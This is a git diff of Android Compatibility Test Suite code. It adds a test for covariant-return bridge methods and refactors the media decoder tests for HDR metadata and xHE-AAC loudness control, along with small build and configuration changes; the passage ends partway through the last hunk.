diff --git a/tests/tests/libcoreapievolution/src/android/apievolution/cts/ApiEvolutionTest.java b/tests/tests/libcoreapievolution/src/android/apievolution/cts/ApiEvolutionTest.java
new file mode 100644
index 0000000..a7ba9ad
--- /dev/null
+++ b/tests/tests/libcoreapievolution/src/android/apievolution/cts/ApiEvolutionTest.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.apievolution.cts;
+
+import org.junit.Test;
+
+import java.lang.annotation.Annotation;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.text.ParseException;
+import java.util.Arrays;
+import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * A test to ensure that platform bytecode is as expected to enable API evolution.
+ */
+public class ApiEvolutionTest {
+
+    /**
+     * Tests for synthetic methods generated by
+     * {@link dalvik.annotation.codegen.CovariantReturnType}.
+     */
+    @Test
+    public void testCovariantReturnTypeMethods() throws Exception {
+        // Example of the "normal" way round for synthetic methods generated by the toolchain when
+        // a subclass has a more specific return type.
+        // Exceptions are not required to be identical in this case because the synthetic method
+        // mirrors the superclass version.
+        assertSyntheticMethodOverloadExists(
+                Sub.class, "myMethod", new Class[] { Integer.class },
+                String.class, Object.class,
+                false /* requireIdenticalExceptions */);
+
+        // Cases of synthetic platform methods that have been introduced by the platform build tools
+        // in response to the presence of a @CovarientReturnType annotation.
+        // More should be added for every use of the annotation.
+        assertSyntheticMethodOverloadExists(ConcurrentHashMap.class, "keySet", null, Set.class,
+                ConcurrentHashMap.KeySetView.class, true);
+    }
+
+    private static void assertSyntheticMethodOverloadExists(
+            Class<?> clazz, String methodName, Class[] parameterTypes,
+            Class<?> originalReturnType, Class<?> syntheticReturnType,
+            boolean requireIdenticalExceptions) throws Exception {
+
+        if (parameterTypes == null) {
+            parameterTypes = new Class[0];
+        }
+        String fullMethodName = clazz + "." + methodName;
+
+        // Assert we find the original, non-synthetic version using getDeclaredMethod().
+        Method declaredMethod = clazz.getDeclaredMethod(methodName, parameterTypes);
+        assertEquals(originalReturnType, declaredMethod.getReturnType());
+
+        // Assert both versions of the method are returned from getDeclaredMethods().
+        Method original = null;
+        Method synthetic = null;
+        for (Method method : clazz.getDeclaredMethods()) {
+            if (methodMatches(methodName, parameterTypes, method)) {
+                if (method.getReturnType().equals(syntheticReturnType)) {
+                    synthetic = method;
+                } else if (method.getReturnType().equals(originalReturnType)) {
+                    original = method;
+                }
+            }
+        }
+        assertNotNull("Unable to find original signature: " + fullMethodName
+                + ", returning " + originalReturnType, original);
+        assertNotNull("Unable to find synthetic signature: " + fullMethodName
+                + ", returning " + syntheticReturnType, synthetic);
+
+        // Check modifiers are as expected.
+        assertFalse(original.isSynthetic());
+        assertFalse(original.isBridge());
+        assertTrue(synthetic.isSynthetic());
+        assertTrue(synthetic.isBridge());
+
+        int originalModifiers = original.getModifiers();
+        int syntheticModifiers = synthetic.getModifiers();
+
+        // These masks aren't in the public API but are defined in the dex spec.
+        int syntheticMask = 0x00001000;
+        int bridgeMask = 0x00000040;
+        int mask = syntheticMask | bridgeMask;
+        assertEquals("Method modifiers for " + fullMethodName
+                        + " are expected to be identical except for SYNTHETIC and BRIDGE."
+                        + " original=" + Modifier.toString(originalModifiers)
+                        + ", synthetic=" + Modifier.toString(syntheticModifiers),
+                originalModifiers | mask,
+                syntheticModifiers | mask);
+
+        // Exceptions are not required at method resolution time but we check they're the same in
+        // most cases for completeness.
+        if (requireIdenticalExceptions) {
+            assertArrayEquals("Exceptions for " + fullMethodName + " must be compatible",
+                    original.getExceptionTypes(), synthetic.getExceptionTypes());
+        }
+
+        // Android doesn't support runtime type annotations so nothing to do for them.
+
+        // Type parameters are *not* copied because they're not needed at method resolution time.
+        assertEquals(0, synthetic.getTypeParameters().length);
+
+        // Check method annotations.
+        Annotation[] annotations = original.getDeclaredAnnotations();
+        assertArrayEquals("Annotations differ between original and synthetic versions of "
+                + fullMethodName, annotations, synthetic.getDeclaredAnnotations());
+        Annotation[][] parameterAnnotations = original.getParameterAnnotations();
+        // Check parameter annotations.
+        assertArrayEquals("Annotations differ between original and synthetic versions of "
+                + fullMethodName, parameterAnnotations, synthetic.getParameterAnnotations());
+    }
+
+    private static boolean methodMatches(String methodName, Class[] parameterTypes, Method method) {
+        return method.getName().equals(methodName)
+                && Arrays.equals(parameterTypes, method.getParameterTypes());
+    }
+
+    /** Annotation used in return type specialization tests. */
+    @Retention(RetentionPolicy.RUNTIME)
+    private @interface TestAnnotation {}
+
+    /** Base class for return type specialization tests. */
+    private static class Base {
+        protected Object myMethod(Integer p1) throws Exception {
+            return null;
+        }
+    }
+
+    /** Sub class for return type specialization tests. */
+    private static class Sub extends Base {
+        @TestAnnotation
+        @Override
+        protected String myMethod(@TestAnnotation Integer p1) throws ParseException {
+            return null;
+        }
+    }
+}
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
index 8e2c3f8..216989f 100644
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
@@ -20,8 +20,6 @@
 import android.location.GnssMeasurementsEvent;
 import android.util.Log;
 
-import com.android.compatibility.common.util.CddTest;
-
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
@@ -78,7 +76,6 @@
      * It only performs sanity checks for the measurements received.
      * This tests uses actual data retrieved from GPS HAL.
      */
-    @CddTest(requirement="7.3.3/C-3-2,C-3-3")
     public void testListenForGnssMeasurements() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not,
         // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
diff --git a/tests/tests/location/src/android/location/cts/GnssStatusTest.java b/tests/tests/location/src/android/location/cts/GnssStatusTest.java
index 07aa083..1f7ffa4 100644
--- a/tests/tests/location/src/android/location/cts/GnssStatusTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssStatusTest.java
@@ -3,8 +3,6 @@
 import android.location.GnssStatus;
 import android.util.Log;
 
-import com.android.compatibility.common.util.CddTest;
-
 public class GnssStatusTest extends GnssTestCase  {
 
     private static final String TAG = "GnssStatusTest";
@@ -58,7 +56,6 @@
   /**
    * Tests values of {@link GnssStatus}.
    */
-  @CddTest(requirement="7.3.3/C-1-4")
   public void testGnssStatusValues() throws InterruptedException {
     // Checks if GPS hardware feature is present, skips test (pass) if not,
     // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
index d2348db..78eb8ed 100644
--- a/tests/tests/media/Android.mk
+++ b/tests/tests/media/Android.mk
@@ -89,6 +89,8 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
+LOCAL_HOST_REQUIRED_MODULES := cts-dynamic-config
+
 include $(BUILD_CTS_PACKAGE)
 
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/media/AndroidTest.xml b/tests/tests/media/AndroidTest.xml
index 1a5377a..af3b082 100644
--- a/tests/tests/media/AndroidTest.xml
+++ b/tests/tests/media/AndroidTest.xml
@@ -16,6 +16,12 @@
 <configuration description="Config for CTS Media test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="media" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="host" />
+        <option name="config-filename" value="cts" />
+        <option name="dynamic-config-name" value="cts-dynamic-config" />
+        <option name="version" value="9.0_r1"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="images-only" value="true" />
     </target_preparer>
diff --git a/tests/tests/media/libmediandkjni/Android.mk b/tests/tests/media/libmediandkjni/Android.mk
index e0af7dc..993f177 100644
--- a/tests/tests/media/libmediandkjni/Android.mk
+++ b/tests/tests/media/libmediandkjni/Android.mk
@@ -41,7 +41,7 @@
 
 LOCAL_NDK_STL_VARIANT := system
 
-LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES -std=gnu++14
+LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES
 
 include $(BUILD_SHARED_LIBRARY)
 
@@ -72,7 +72,7 @@
 
 LOCAL_CXX_STL := libc++
 
-LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES -std=gnu++14
+LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES
 
 include $(BUILD_SHARED_LIBRARY)
 
diff --git a/tests/tests/media/libmediandkjni/native-media-jni.cpp b/tests/tests/media/libmediandkjni/native-media-jni.cpp
index af28a80..0e3b3a5 100644
--- a/tests/tests/media/libmediandkjni/native-media-jni.cpp
+++ b/tests/tests/media/libmediandkjni/native-media-jni.cpp
@@ -792,10 +792,10 @@
         return false;
     }
 
-    AMediaFormat_setInt64(format, AMEDIAFORMAT_KEY_DURATION, 123456789123456789ll);
+    AMediaFormat_setInt64(format, AMEDIAFORMAT_KEY_DURATION, 123456789123456789LL);
     int64_t duration = 0;
     if (!AMediaFormat_getInt64(format, AMEDIAFORMAT_KEY_DURATION, &duration)
-            || duration != 123456789123456789ll) {
+            || duration != 123456789123456789LL) {
         ALOGE("AMediaFormat_getInt64 fail: %lld", (long long) duration);
         return false;
     }
diff --git a/tests/tests/media/libndkaudio/Android.mk b/tests/tests/media/libndkaudio/Android.mk
index 982c630..9480dcd 100644
--- a/tests/tests/media/libndkaudio/Android.mk
+++ b/tests/tests/media/libndkaudio/Android.mk
@@ -57,5 +57,6 @@
 LOCAL_CERTIFICATE := platform
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 23
 
 include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/tests/media/res/raw/testwav_16bit_44100hz.wav b/tests/tests/media/res/raw/testwav_16bit_44100hz.wav
new file mode 100644
index 0000000..f57ee85
--- /dev/null
+++ b/tests/tests/media/res/raw/testwav_16bit_44100hz.wav
Binary files differ
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index 2193d33..c1f72f8 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -702,10 +702,10 @@
 
     public void testVp9HdrStaticMetadata() throws Exception {
         final String staticInfo =
-                "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42 " +
-                "40 e8 03 64 00 e8 03 2c  01                      " ;
+                "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
+                "40 e8 03 64 00 e8 03 2c  01                     " ;
         testHdrStaticMetadata(R.raw.video_1280x720_vp9_hdr_static_3mbps,
-                staticInfo, true /*metadataInContainer*/, "testVp9HdrStaticMetadata");
+                staticInfo, true /*metadataInContainer*/);
     }
 
     public void testH265HDR10StaticMetadata() throws Exception {
@@ -716,14 +716,13 @@
         // Media frameworks puts the display primaries in RGB order, here we verify the three
         // primaries are indeed in this order and fail otherwise.
         final String staticInfo =
-                "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42 " +
-                "40 e8 03 00 00 e8 03 90  01                      " ;
+                "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
+                "40 e8 03 00 00 e8 03 90  01                     " ;
         testHdrStaticMetadata(R.raw.video_1280x720_hevc_hdr10_static_3mbps,
-                staticInfo, false /*metadataInContainer*/, "testH265HDR10StaticMetadata");
+                staticInfo, false /*metadataInContainer*/);
     }
 
-    private void testHdrStaticMetadata(
-            int res, String pattern, boolean metadataInContainer, String testName)
+    private void testHdrStaticMetadata(int res, String pattern, boolean metadataInContainer)
             throws Exception {
         AssetFileDescriptor infd = null;
         MediaExtractor extractor = null;
@@ -747,8 +746,7 @@
             assertTrue("Extractor failed to extract video track",
                     format != null && trackIndex >= 0);
             if (metadataInContainer) {
-                verifyHdrStaticInfo("Extractor failed to extract static info",
-                        format, pattern, metadataInContainer, testName);
+                verifyHdrStaticInfo("Extractor failed to extract static info", format, pattern);
             }
 
             extractor.selectTrack(trackIndex);
@@ -800,7 +798,7 @@
 
                         codec.releaseOutputBuffer(index,  false);
                         verifyHdrStaticInfo("Output buffer has wrong static info",
-                                bufferFormat, pattern, metadataInContainer, testName);
+                                bufferFormat, pattern);
                         mOutputReceived = true;
                         latch.countDown();
                     }
@@ -836,7 +834,7 @@
                     public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
                         Log.i(TAG, "got output format: " + format);
                         verifyHdrStaticInfo("Output format has wrong static info",
-                                format, pattern, metadataInContainer, testName);
+                                format, pattern);
                     }
                 });
                 decoder.configure(format, surface, null/*crypto*/, 0/*flags*/);
@@ -859,32 +857,13 @@
         }
     }
 
-    private void verifyHdrStaticInfo(
-            String reason, MediaFormat format, String pattern,
-            boolean failOnMismatch, String testName) {
+    private void verifyHdrStaticInfo(String reason, MediaFormat format, String pattern) {
         ByteBuffer staticMetadataBuffer = format.containsKey("hdr-static-info") ?
                 format.getByteBuffer("hdr-static-info") : null;
         assertTrue(reason + ": empty",
                 staticMetadataBuffer != null && staticMetadataBuffer.remaining() > 0);
-
-        if (!Arrays.equals(loadByteArrayFromString(pattern), staticMetadataBuffer.array())) {
-            // log mismatch
-            DeviceReportLog log = new DeviceReportLog("CtsMediaTestCases", testName);
-
-            log.addValue("reason", reason + ": mismatch", ResultType.NEUTRAL, ResultUnit.NONE);
-            StringBuilder sb = new StringBuilder();
-            for (byte b : staticMetadataBuffer.array()) {
-                sb.append(String.format("%02X ", b));
-            }
-            log.addValue("metadata_actual", sb.toString(), ResultType.NEUTRAL, ResultUnit.NONE);
-            log.addValue("metadata_expected", pattern, ResultType.NEUTRAL, ResultUnit.NONE);
-            log.setSummary("result", 0, ResultType.HIGHER_BETTER, ResultUnit.COUNT);
-            log.submit(getInstrumentation());
-
-            if (failOnMismatch) {
-                fail(reason + ": mismatch");
-            }
-        }
+        assertTrue(reason + ": mismatch",
+                Arrays.equals(loadByteArrayFromString(pattern), staticMetadataBuffer.array()));
     }
 
     // helper to load byte[] from a String
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
index 2c549f2..151c94a 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
@@ -95,116 +95,124 @@
         assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
 
         for (String aacDecName : sAacDecoderNames) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a running for dec=" + aacDecName);
-            // test DRC effectTypeID 1 "NIGHT"
-            // L -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
-            // R +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
             try {
-                checkUsacDrcEffectType(1, 0.5011f, 1.9952f, "Night", 2, 0, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/0 failed for dec=" + aacDecName);
-                throw new RuntimeException(e);
+                runDecodeUsacDrcEffectTypeM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
             }
+        }
+    }
 
-            // test DRC effectTypeID 2 "NOISY"
-            // L +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
-            // R -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
-            try {
-                checkUsacDrcEffectType(2, 1.9952f, 0.2511f, "Noisy", 2, 0, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/0 failed for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
+    private void runDecodeUsacDrcEffectTypeM4a(String aacDecName) throws Exception {
+        Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a running for dec=" + aacDecName);
+        // test DRC effectTypeID 1 "NIGHT"
+        // L -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
+        // R +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
+        try {
+            checkUsacDrcEffectType(1, 0.5011f, 1.9952f, "Night", 2, 0, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/0 failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        } 
 
-            // test DRC effectTypeID 3 "LIMITED"
-            // L -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
-            // R +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
-            try {
-                checkUsacDrcEffectType(3, 0.2511f, 3.9810f, "Limited", 2, 0, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/0 failed for dec="
-                        + aacDecName);
-                throw new RuntimeException(e);
-            }
+        // test DRC effectTypeID 2 "NOISY"
+        // L +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
+        // R -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+        try {
+            checkUsacDrcEffectType(2, 1.9952f, 0.2511f, "Noisy", 2, 0, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/0 failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
 
-            // test DRC effectTypeID 6 "GENERAL"
-            // L +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
-            // R -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
-            try {
-                checkUsacDrcEffectType(6, 3.9810f, 0.5011f, "General", 2, 0, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/0 failed for dec="
-                        + aacDecName);
-                throw new RuntimeException(e);
-            }
+        // test DRC effectTypeID 3 "LIMITED"
+        // L -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+        // R +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+        try {
+            checkUsacDrcEffectType(3, 0.2511f, 3.9810f, "Limited", 2, 0, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/0 failed for dec="
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
 
-            // test DRC effectTypeID 1 "NIGHT"
-            // L    -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
-            // R    +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
-            // mono -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
-            try {
-                checkUsacDrcEffectType(1, 0.2511f, 3.9810f, "Night", 2, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
-            try {
-                checkUsacDrcEffectType(1, 0.2511f, 0.0f, "Night", 1, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/1/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
+        // test DRC effectTypeID 6 "GENERAL"
+        // L +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+        // R -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
+        try {
+            checkUsacDrcEffectType(6, 3.9810f, 0.5011f, "General", 2, 0, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/0 failed for dec="
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
 
-            // test DRC effectTypeID 2 "NOISY"
-            // L    +6dB -> normalization factor = 1/(10^( 6/10))   = 3.9810f
-            // R    -9dB -> normalization factor = 1/(10^(-9/10))  = 0.1258f
-            // mono +6dB -> normalization factor = 1/(10^( 6/10))   = 3.9810f
-            try {
-                checkUsacDrcEffectType(2, 3.9810f, 0.1258f, "Noisy", 2, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
-            try {
-                checkUsacDrcEffectType(2, 3.9810f, 0.0f, "Noisy", 1, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
+        // test DRC effectTypeID 1 "NIGHT"
+        // L    -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+        // R    +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+        // mono -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+        try {
+            checkUsacDrcEffectType(1, 0.2511f, 3.9810f, "Night", 2, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        try {
+            checkUsacDrcEffectType(1, 0.2511f, 0.0f, "Night", 1, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/1/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
 
-            // test DRC effectTypeID 3 "LIMITED"
-            // L    -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
-            // R    +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
-            // mono -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
-            try {
-                checkUsacDrcEffectType(3, 0.1258f, 7.9432f, "Limited", 2, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
-            try {
-                checkUsacDrcEffectType(3, 0.1258f, 0.0f, "Limited", 1, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/1/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
+        // test DRC effectTypeID 2 "NOISY"
+        // L    +6dB -> normalization factor = 1/(10^( 6/10))   = 3.9810f
+        // R    -9dB -> normalization factor = 1/(10^(-9/10))  = 0.1258f
+        // mono +6dB -> normalization factor = 1/(10^( 6/10))   = 3.9810f
+        try {
+            checkUsacDrcEffectType(2, 3.9810f, 0.1258f, "Noisy", 2, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        try {
+            checkUsacDrcEffectType(2, 3.9810f, 0.0f, "Noisy", 1, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
 
-            // test DRC effectTypeID 6 "GENERAL"
-            // L    +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
-            // R    -6dB -> normalization factor = 1/(10^(-6/10))  = 0.2511f
-            // mono +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
-            try {
-                checkUsacDrcEffectType(6, 7.9432f, 0.2511f, "General", 2, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
-            try {
-                checkUsacDrcEffectType(6, 7.9432f, 0.0f, "General", 1, 1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/1/1 for dec=" + aacDecName);
-                throw new RuntimeException(e);
-            }
+        // test DRC effectTypeID 3 "LIMITED"
+        // L    -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
+        // R    +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+        // mono -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
+        try {
+            checkUsacDrcEffectType(3, 0.1258f, 7.9432f, "Limited", 2, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        try {
+            checkUsacDrcEffectType(3, 0.1258f, 0.0f, "Limited", 1, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/1/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test DRC effectTypeID 6 "GENERAL"
+        // L    +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+        // R    -6dB -> normalization factor = 1/(10^(-6/10))  = 0.2511f
+        // mono +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+        try {
+            checkUsacDrcEffectType(6, 7.9432f, 0.2511f, "General", 2, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        try {
+            checkUsacDrcEffectType(6, 7.9432f, 0.0f, "General", 1, 1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/1/1 for dec=" + aacDecName);
+            throw new RuntimeException(e);
         }
     }
 
@@ -218,52 +226,61 @@
         assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
 
         for (String aacDecName : sAacDecoderNames) {
-            // Stereo
-            // switch between SBR ratios and stereo modes
             try {
-                checkUsacStreamSwitching(2.5459829E12f, 2,
-                        R.raw.noise_2ch_44_1khz_aot42_19_lufs_config_change_mp4, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch sbr/stereo switch for "
-                        + aacDecName);
-                throw new RuntimeException(e);
-            }
-
-            // Mono
-            // switch between SBR ratios and stereo modes
-            try {
-                checkUsacStreamSwitching(2.24669126E12f, 1,
-                        R.raw.noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch sbr/stereo switch for "
-                        + aacDecName);
-                throw new RuntimeException(e);
-            }
-
-            // Stereo
-            // switch between USAC modes
-            try {
-                checkUsacStreamSwitching(2.1E12f, 2,
-                        R.raw.noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch USAC mode switch for "
-                        + aacDecName);
-                throw new RuntimeException(e);
-            }
-
-            // Mono
-            // switch between USAC modes
-            try {
-                checkUsacStreamSwitching(1.7E12f, 1,
-                        R.raw.noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch USAC mode switch for "
-                        + aacDecName);
-                throw new RuntimeException(e);
+                runDecodeUsacStreamSwitchingM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
             }
         }
     }
 
+    private void runDecodeUsacStreamSwitchingM4a(String aacDecName) throws Exception {
+        // Stereo
+        // switch between SBR ratios and stereo modes
+        try {
+            checkUsacStreamSwitching(2.5459829E12f, 2,
+                    R.raw.noise_2ch_44_1khz_aot42_19_lufs_config_change_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch sbr/stereo switch for "
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // Mono
+        // switch between SBR ratios and stereo modes
+        try {
+            checkUsacStreamSwitching(2.24669126E12f, 1,
+                    R.raw.noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch sbr/stereo switch for "
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // Stereo
+        // switch between USAC modes
+        try {
+            checkUsacStreamSwitching(2.1E12f, 2,
+                    R.raw.noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch USAC mode switch for "
+                    + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // Mono
+        // switch between USAC modes
+        try {
+            checkUsacStreamSwitching(1.7E12f, 1,
+                    R.raw.noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch USAC mode switch for "
+                    + aacDecName);
